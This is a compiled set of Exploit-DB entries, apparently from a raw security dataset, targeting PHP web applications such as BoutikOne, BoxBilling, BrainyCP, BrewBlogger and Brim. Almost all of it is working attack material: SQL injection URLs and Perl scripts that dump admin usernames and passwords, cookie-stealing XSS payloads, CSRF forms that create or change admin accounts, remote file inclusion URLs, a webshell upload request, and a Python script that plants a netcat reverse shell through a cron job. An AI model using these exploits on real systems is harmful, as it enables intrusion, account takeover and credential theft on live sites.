deardaniel/secdata-raw huggingface dataset:
Exploit-DB #35453
Description: BoutikOne - 'search.php' Multiple SQL Injections
Type: webapps
Platform: php
Date: 2011-03-14
Author: cdx.security

Exploit:
source: https://www.securityfocus.com/bid/46861/info
  
Pixie is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in an SQL query.
  
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.
  
http://www.example.com/search.php?advCat=[sqli]

http://www.example.com/search.php?advComp=[sqli]
Exploit-DB #15049
Description: BoutikOne 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2010-09-19
Author: BrOx-Dz

Exploit:
  ________  _____________  / /_
  / ___/ _ \/ ___/ ___/ _ \/ __/
 (__  )  __/ /__/ /  /  __/ /_
/____/\___/\___/_/   \___/\__/
#####################################################################
# Exploit Title: BoutikOne® v1 (list.php) SQL Injection Vulnerabilitie
# Date: 19/09/2010
# Author: BrOx-Dz
# Author: E.dz@hotmail.fr
# Software Link: http://www.boutikone.com/
# Dork  : Powered by BoutikOne®
# Version: BoutikOne®
# Tested on: windows xp pack 3
#####################################################################

----------------------------------------------------------------------------

#e.g :
http://server/patch/list.php?lang=1&path=50&num=38&action=n&sort=Id&page=0[sql]

#demo :
http://www.site.com/list.php?lang=1&path=42&num=13&action=n&sort=Id&page=0'

----------------------------------------------------------------------------
greatez:

lagripe-dz  mca_crb  amine  halim all dz members.

www.sec4ever.com / www.v4-team.com/cc/ / www.h4ckforu.com/vb/.
Exploit-DB #32588
Description: BoutikOne CMS - 'search_query' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-11-17
Author: d3v1l

Exploit:
source: https://www.securityfocus.com/bid/32321/info

BoutikOne CMS is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

http://www.example.com/search.php?lang=1&sort=Ref&search_query='"></title><script>alert(1337)</script>><marquee><h1>XSS</h1></marquee>
Exploit-DB #12419
Description: Boutique SudBox 1.2 - Cross-Site Request Forgery (Changer Login et Mot de Passe)
Type: webapps
Platform: php
Date: 2010-04-27
Author: indoushka

Exploit:
========================================================================================                  
| # Title    : Boutique SudBox 1.2 Changer Login et Mot de Passe CSRF Vulnerability           
| # Author   : indoushka                                                               
| # email    : indoushka@hotmail.com                                                  
| # Home     : www.iqs3cur1ty.com/vb                                                                                                                                                                                                                   
| # Tested on: windows SP2 Français V.(Pnx2 2.0)       
| # Bug      : CSRF                                                                     
======================      Exploit By indoushka       =================================
 # Exploit  : 
 
 1 - Changer votre Login et Mot de Passe CSRF :
 
<?
?>
<Center>
<form action="http://localhost/boutique/admin/password_2.php" method="post" target='_top'>
<center>
<br><font class='grand'><b>Changer votre Login et Mot de Passe</b></font><br>
	<table border="0">
	<tr>
		<td>Login: </td>
		<td><input type="text" name="admin"></td>
	</tr><tr>
		<td>Mot de passe: </td>
		<td><input type="password" name="motdepasse"></td>
	</tr><tr>
		<td colspan="2"><input type="submit" value="Envoyer"></td>
	</table>
</form>
<?
?>
 
Dz-Ghost Team ===== Saoucha * Star08 * Redda * theblind74 * XproratiX * onurozkan * n2n * Meher Assel ====================
Greetz : Exploit-db Team : (loneferret+Exploits+dookie2000ca)
all my friend :
His0k4 * Hussin-X * Rafik (www.Tinjah.com) * Yashar (www.sc0rpion.ir) SoldierOfAllah (www.m4r0c-s3curity.cc)
Stake (www.v4-team.com) * r1z (www.sec-r1z.com) * D4NB4R http://www.ilegalintrusion.net/foro/
www.securityreason.com * www.sa-hacker.com *  www.alkrsan.net * www.mormoroth.net * MR.SoOoFe * ThE g0bL!N
------------------------------------------------------------------------------------------------------------------------
Exploit-DB #26877
Description: Box UK Amaxus CMS 3.0 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-12-19
Author: r0t3d3Vil

Exploit:
source: https://www.securityfocus.com/bid/15936/info

Box UK Amaxus CMS is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

Amaxus CMS verions 3 and earlier are reportedly prone to this issue. 

http://example.com/?search_word=&search.x=20&search.y=4&change=[XSS]
Exploit-DB #30083
Description: BoxBilling 3.6.11 - 'mod_notification' Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2013-12-06
Author: LiquidWorm

Exploit:

BoxBilling 3.6.11 (mod_notification) Stored Cross-Site Scripting Vulnerability


Vendor: BoxBilling
Product web page: http://www.boxbilling.com
Affected version: 3.6.11 (mod_notification 1.0.0)

Summary: BoxBilling is a free billing, invoicing & client management software.

Desc: BoxBilling suffers from a stored cross-site scripting vulnerability.
Input passed to the 'message' POST parameter thru the 'Notification Center'
extension/module is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in a user's
browser session in context of an affected site.

Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
           Apache 2.4.2 (Win32)
           PHP 5.4.7
           MySQL 5.5.25a


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2013-5163
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5163.php


05.12.2013

--


POST /boxbilling/index.php/api/admin/notification/add HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:25.0) Gecko/20100101 Firefox/25.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://localhost/boxbilling/bb-admin.php/notification
Content-Length: 66
Cookie: BOXADMR=e%3DZ2pva29AemVyb3NjaWVuY2UubWs%3D%26p%3DZDAzM2UyMmFlMzQ4YWViNTY2MGZjMjE0MGFlYzM1ODUwYzRkYTk5Nw%3D%3D; BOXSID=gsbhumqgrjja1hrei31v3uc4m6
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

message=%22%3E%3Cscript%3Ealert(document.cookie)%3B%3C%2Fscript%3E
Exploit-DB #51108
Description: BoxBilling<=4.22.1.5 - Remote Code Execution (RCE)
Type: webapps
Platform: php
Date: 2023-03-28
Author: zetc0de

Exploit:
# Exploit Title: BoxBilling<=4.22.1.5 - Remote Code Execution (RCE)
# Date: 2022-09-18
# Exploit Author: zetc0de
# Vendor Homepage: https://www.boxbilling.org/
# Software Link:
https://github.com/boxbilling/boxbilling/releases/download/4.22.1.5/BoxBilling.zip
# Version: <=4.22.1.5 (Latest)
# Tested on: Windows 10
# CVE : CVE-2022-3552
# BoxBilling was vulnerable to Unrestricted File Upload.
# In order to exploit the vulnerability, an attacker must have a valid
authenticated session as admin on the CMS.
# With at least 1 order of product an attacker can upload malicious file to
hidden API endpoint that contain a webshell and get RCE
###################################################################################


## POC
POST /index.php?_url=/api/admin/Filemanager/save_file HTTP/1.1
Host: local.com:8089
Content-Length: 52
Accept: application/json, text/javascript, */*; q=0.01
DNT: 1
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=3nrf9i4mv28o5anva77ltq042d
Connection: close

order_id=1&path=ax.php&data=<%3fphp+phpinfo()%3b%3f>

POC Video :
https://drive.google.com/file/d/1m2glCeJ9QXc8epuY2QfvbWwjLTJ8_Hjx/view?usp=sharing
Exploit-DB #7930
Description: bpautosales 1.0.1 - Cross-Site Scripting / SQL Injection
Type: webapps
Platform: php
Date: 2009-01-30
Author: Mehmet Ince

Exploit:
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
=
=                                 XORON 2009(C)
=
=              BPAutoSales v1.0.1 Remote SQL Injection Vuln.       
=              
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
=
= Script:   BPAutoSales, version 1.0.1
= Price:      $229
=
= Author: xoron
=
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
=
= BUGS    
=
=  Sql Injections:
=      index.php?cmd=advertise_details&category=car&aid=-1/**/union/**/select/**/0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,name,22,password,login/**/from/**/admin/**/where/**/id=1/*
=                       
=  XSS:
=      index.php?cmd=car_search&type=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
=
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- 

# milw0rm.com [2009-01-30]
Exploit-DB #11896
Description: BPTutors Tutoring site script - Cross-Site Request Forgery (Add Admin)
Type: webapps
Platform: php
Date: 2010-03-26
Author: bi0

Exploit:
# Title: BPTutors Tutoring site script - [ CSRF ] Create Administrator Account
# Date: 26/3/2010
# Author: bi0
# Software: http://bpowerhouse.info/tutoring-site-script.htm
# Version: 1.0
# Code :

______ __ ______
/\ == \ /\ \ /\ __ \
\ \ __< \ \ \ \ \ \/\ \
\ \_____\ \ \_\ \ \_____\
\/_____/ \/_/ \/_____/

[PII_REDACTED] 01001111

[#]----------------------------------------------------------------[#]
#
# [+] BPTutors Tutoring site script - [ CSRF ] Create Administrator Account
#
# // Author Info
# [x] Author: bi0
# [x] Contact: bukibv@hotmail.com
# [x] Thanks: 2 all my friends !!
# [x] IRC : irc.clickshqip.com / #itsecurity
#
[#]-------------------------------------------------------------------------------------------[#]
#
# [x] Exploit :
#
# [ CSRF ]
#
# [ Login ]
# http://[localhost]/[path]/admin/administrators.php
#
# // Start CSRF
|-------------------------------------------------------------------------------|

<html>
Admin ( 6+) <input type="text" name="login" value="admin123" size="6" /><br>
Passwd (6+) <input type="text" name="pass" value="123admin123" size="6" /><br>
Frist Name <input type='text' name='rtfirst_name' value='adminone' ><br>
Last Name <input type='text' name='rtlast_name' value='myadmin'><br>
Email <input type="text" name="email" value="buki@fbi-system.gov" size="16" /><br>
<a class='class_a' href='http://[localhost]/[path]/admin/administrators.php?adm_mode=update&adm_rid=-1&adm_sort_field=6&adm_sort_type=ASC&adm_page_size=1&adm_p=1&adm_new=1'>Create</a>
</form>
</html>

|-------------------------------------------------------------------------------|
# // End of attack
#
[#]------------------------------------------------------------------------------------------[#]

#EOF
Exploit-DB #3162
Description: Bradabra 2.0.5 - '/include/includes.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-01-20
Author: GoLd_M

Exploit:
======================================================================
Bradabra <== v2.0.5 Remote File Include Vulnerability               #
======================================================================
Downlaoad Script :ftp://ftp1.comscripts.com/PHP/773_bradabra-205.gz #
======================================================================
Author: GolD_M = Mahmood_ali  &&  Contact: HackEr_@W.Cn             #
======================================================================
SpeciaL GreeTz : Tryag-Team & 4lKaSrGoLd3n-Team                     #
======================================================================
In:  /include/includes.php                                          #
======================================================================
Vulnerable Code:                                                    #
======================================================================
include $include_path."config_user.php";                            #
include $include_path."defines.php";                                #
include $include_path."lang.php";                                   #
include $include_path."functions.php";                              #
include $include_path."functions_arch.php";                         #
include $include_path."style.php";                                  #
include $include_path."sql.php";                                    #
include $include_path."db_connect.php";                             #
include $include_path."db.php";                                     #
include $include_path."login_check.php";                            #
include $include_path."functions_js.php";                           #
======================================================================
Exploit:                                                            #
======================================================================
http://Victim.Com/include/includes.php?include_path=Shell.txt       #
======================================================================
                    Tryag.Com & Dwrat.com                          #
======================================================================

# milw0rm.com [2007-01-20]
Exploit-DB #51357
Description: BrainyCP V1.0 - Remote Code Execution
Type: webapps
Platform: php
Date: 2023-04-10
Author: Ahmet Ümit BAYRAM

Exploit:
# Exploit Title: BrainyCP V1.0 - Remote Code Execution
# Date: 2023-04-03
# Exploit Author: Ahmet Ümit BAYRAM
# Vendor Homepage: https://brainycp.io
# Demo: https://demo.brainycp.io
# Tested on: Kali Linux
# CVE : N/A

import requests

# credentials
url = input("URL: ")
username = input("Username: ")
password = input("Password: ")
ip = input("IP: ")
port = input("Port: ")

# login 
session = requests.Session()
login_url = f"{url}/auth.php"
login_data = {"login": username, "password": password, "lan": "/"}
response = session.post(login_url, data=login_data)
if "Sign In" in response.text:
    print("[-] Wrong credentials or may the system patched.")
    exit()


# reverse shell 
reverse_shell = f"nc {ip} {port} -e /bin/bash"

# request
add_cron_url = f"{url}/index.php?do=crontab&subdo=ajax&subaction=addcron"
add_cron_data = {
    "cron_freq_minutes": "*",
    "cron_freq_minutes_own": "",
    "cron_freq_hours": "*",
    "cron_freq_hours_own": "",
    "cron_freq_days": "*",
    "cron_freq_days_own": "",
    "cron_freq_months": "*",
    "cron_freq_weekdays": "*",
    "cron_command": reverse_shell,
    "cron_user": username,
}
response = session.post(add_cron_url, data=add_cron_data)

print("[+] Check your listener!")
Exploit-DB #2751
Description: BrewBlogger 1.3.1 - 'printLog.php' SQL Injection
Type: webapps
Platform: php
Date: 2006-11-10
Author: Craig Heffner

Exploit:
#!/usr/bin/perl
###########################################################################################
#Target:
#
#       BewBlogger 1.3.1
#       http://brewblogger.zkdigital.com
#
#Vulnerability:
#
#       SQL Injection
#
#Description:
#
#       BrewBlogger does not properly sanitize the 'id=' parameter passed to printLog.php.
#       Since each user entry contains an auto-incrementing ID number, it is possible to
#       enumerate all user names and passwords stored in the 'users'database by iterating
#       through every possible ID number.
#
#Vulnerable Code (truncated):
#
#       $colname_log = (get_magic_quotes_gpc()) ? $_GET['id'] : addslashes($_GET['id']);
#       $query_log = sprintf("SELECT * FROM brewing WHERE id = %s", $colname_log);
#       $log = mysql_query($query_log, $brewing) or die(mysql_error());
#
#Usage:
#       This script will produce a URL which will reveal the user name and password for
#       the specified ID. If no ID is specified, 2 is used (seems to be the usual ID for
#       the first user). The user name will be listed as "Method:" under 'General
#       Information', and the password will be listed as "Cost:".
#
#Usage:
#       ./brewblog.pl <domain name + path> [user id]
#
#Examples:
#
#       ./brewblogger.pl www.beerblog.com 3
#       ./brewblogger.pl www.mysite.com/beerblog
#
#Google Dork:
#
#       intext:"BrewBlogger for PHP"
#
#Discovery/code:
#
#       Craig Heffner
#       heffnercj [at] gmail.com
#       http://www.craigheffner.com
###########################################################################################


print '
###########################################
# BrewBlogger 1.3.1 SQL Injection Exploit #
#                                         #
# Discovered and coded by: Craig Heffner  #
###########################################
';

if(!$ARGV[0] || $ARGV[0] eq "-h"){
       print "\nUsage: ./brewlogger.pl <domain name + path> [user id]\n\nSee script comments for more details\n";
       exit;
}


if(!$ARGV[1]){
       $id = 2;
} else {
       $id = $ARGV[1];
}

$url = "http://" . $ARGV[0] . "/printLog.php?id=0+UNION+SELECT+";
$a = 1;

while($a < 211){
       if($a == 8){
               $string .= "user_name,";
       } elsif($a == 9){
               $string .= "password,";
       } elsif($a == 210){
               $string .= "1";
       } else {
               $string .= "1,";
       }
       $a++;
}

print "\n\nUse the following URL:\n\n" . $url . $string . "+FROM+users+WHERE+id=" . $id . "\n";
exit;

# milw0rm.com [2006-11-10]
Exploit-DB #24540
Description: Brewthology 0.1 - SQL Injection
Type: webapps
Platform: php
Date: 2013-02-26
Author: cr4wl3r

Exploit:
#Brewthology 0.1 SQL Injection Exploit
#By cr4wl3r http://bastardlabs.info
#Script: http://sourceforge.net/projects/brewthology/files/brewthology/v0.1%20public%20beta/
#Demo: http://bastardlabs.info/demo/brewthology.png
#Tested: Win 7
#
# Bugs found in beerxml.php
#
# if (isset($_GET['r'])) 
# 	{ 
# 	$recipenum = $_GET['r']; 
# 
# // Pull Data from DB	
#    $recipes = "SELECT * FROM bxml_recipes WHERE reciperecid=$recipenum"; 
#    $recresult = @mysql_query ($recipes); 
#  }
#
# http://bastardlabs/[path]/beerxml.php?r=[SQLi]
# Example: http://bastardlabs/[path]/beerxml.php?r=null%20union%20select%201,2,3,4,5,concat(username,0x3a,userpass),7,8,9,10,11%20from%20bxml_users
#
#
# $ perl brewthology.pl localhost /demo/
# [+] Please Wait ...
#
# [+] Getting Username and Password    [ ok ]
# [+] w00tw00t
# [+] Username | Password --> admin:ab4d8d2a5f480a137067da17100271cd176607a1

#!/usr/bin/perl

use IO::Socket;

$host = $ARGV[0];
$path = $ARGV[1];

if (@ARGV < 2) { 

print qq(
+---------------------------------------------+
|    Brewthology 0.1 SQL Injection Exploit    |
|                                             |
|            coded & exploited by cr4wl3r     |
|                 http://bastardlabs.info/    |
+---------------------------------------------+
                    -=[X]=-
   +---------------------------------------
    Usage :                                
                                           
    perl $0 <host> <path>                  
    ex : perl $0 127.0.0.1 /Brewthology/   
                                           
   +---------------------------------------
);
}

$target = "http://".$host.$path."/beerxml.php?r=null%20union%20select%201,2,3,4,5,concat(username,0x3a,userpass),7,8,9,10,11%20from%20bxml_users";
$sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$host", 
PeerPort=>"80") || die "[-] Can't connect to Server   [ failed ]\n";
print "[+] Please Wait ...\n";
print $sock "GET $target HTTP/1.1\n";
print $sock "Accept: */*\n";
print $sock "User-Agent: BastardLabs\n";
print $sock "Host: $host\n";
print $sock "Connection: close\n\n";
sleep 2;
while ($answer = <$sock>) {
if ($answer =~ /<USE>(.*?)<\/USE>/) {
print "\n[+] Getting Username and Password    [ ok ]\n";
sleep 1;
print "[+] w00tw00t\n";
print "[+] Username | Password --> $1\n";
exit();
}
}
print "[-] Exploit Failed !\n";
Exploit-DB #2589
Description: Brim 1.2.1 - 'renderer' Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2006-10-17
Author: mdx

Exploit:
#                     Brim 1.2.0pre3 , 1.2.1           #
#       renderer Remote File Include Vulnerability     #
#                       Turkish Hacker's               #
#       Discovered By : mdx and The_Bat_Hacker         #
#                                                      #
#------------------------------------------------------
#               Cyber-Warrior TIM                      #
#         Ay ve  Y.ld.zlar Geceye Yak...r...           #
#        the moon and the stars suit the night         #
########################################################
#
# Class : REmote
########################################################
#             File Code Detailed
#File1 :templates/barrel/template.tpl.php?
#File1 :templates/sidebar/template.tpl.php?
#File1 :templates/text-only/template.tpl.php?
#File1 :templates/slashdot/template.tpl.php?
#File1 :templates/penguin/template.tpl.php?
#File1 :templates/pda/template.tpl.php?
#File1 :templates/oerdec/template.tpl.php?
#File1 :templates/nifty/template.tpl.php?
#File1 :templates/mylook/template.tpl.php?
#File1 :templates/barry/template.tpl.php?
#Code :
#
#   <?php include $renderer; ?>
#
########################################################
#
#
# Exploit1 : http://www.target.***/[path]/templates/barrel/template.tpl.php?renderer=http://shell.txt?
# Exploit2 : http://www.target.***/[path]/templates/sidebar/template.tpl.php?renderer=http://shell.txt?
# Exploit3 : http://www.target.***/[path]/templates/text-only/template.tpl.php?renderer=http://shell.txt?
# Exploit4 : http://www.target.***/[path]/templates/slashdot/template.tpl.php?renderer=http://shell.txt?
# Exploit5 : http://www.target.***/[path]/templates/penguin/template.tpl.php?renderer=http://shell.txt?
# Exploit6 : http://www.target.***/[path]/templates/pda/template.tpl.php?renderer=http://shell.txt?
# Exploit7 : http://www.target.***/[path]/templates/oerdec/template.tpl.php?renderer=http://shell.txt?
# Exploit8 : http://www.target.***/[path]/templates/nifty/template.tpl.php?renderer=http://shell.txt?
# Exploit9 : http://www.target.***/[path]/templates/mylook/template.tpl.php?renderer=http://shell.txt?
# Exploit1 : http://www.target.***/[path]/templates/barry/template.tpl.php?renderer=http://shell.txt?
#
########################################################
#                         _ThankX_
#
#
#
#Cyber-warrior User ,PROHACK, Siber-korsanlar [redx, dipsomania, k.z.l_alev]
#Shika, xoron , real_dark_boy,Ulubatl. All Friends
########################################################

http://prdownloads.sourceforge.net/brim/brimfull-1.2.1-16_Oct_2006.zip?use_mirror=heanet

# milw0rm.com [2006-10-17]